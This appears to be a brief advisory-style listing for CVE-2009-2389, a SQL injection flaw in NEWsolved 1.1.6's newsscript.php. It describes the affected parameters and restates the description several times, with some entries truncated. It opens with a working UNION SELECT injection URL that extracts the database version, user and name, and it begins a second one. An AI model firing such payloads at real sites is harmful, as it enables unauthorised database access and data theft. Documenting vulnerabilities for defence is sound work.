NEWSolved SQL Injection Vulnerability

Newssystem SQLi: http://127.0.0.1/newsscript.php?m=archive&topiccheck=ok&idneu=-1' UNION SELECT 1,concatws0x3a,version,user,database,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--' http://127.0.0.1/newsscript.php?mailto=ok&newsid=-1' UNION SELECT...

CVE-2009-2389

Multiple SQL injection vulnerabilities in newsscript.php in USOLVED NEWSolved 1.1.6, when magicquotesgpc is disabled, allow remote attackers to execute arbitrary SQL commands via the 1 jahr or 2 idneu parameter in an archive action, or 3 the newsid parameter...

CVE-2009-2389

CVE-2009-2389 affects USOLVED NEWSolved 1.1.6: the vulnerability is in newsscript.php when magic_quotes_gpc is disabled. An attacker can trigger SQL injection via the archive action using one of three parameters (jahr, idneu, or newsid), enabling remote execution of arbitrary SQL commands. The ex...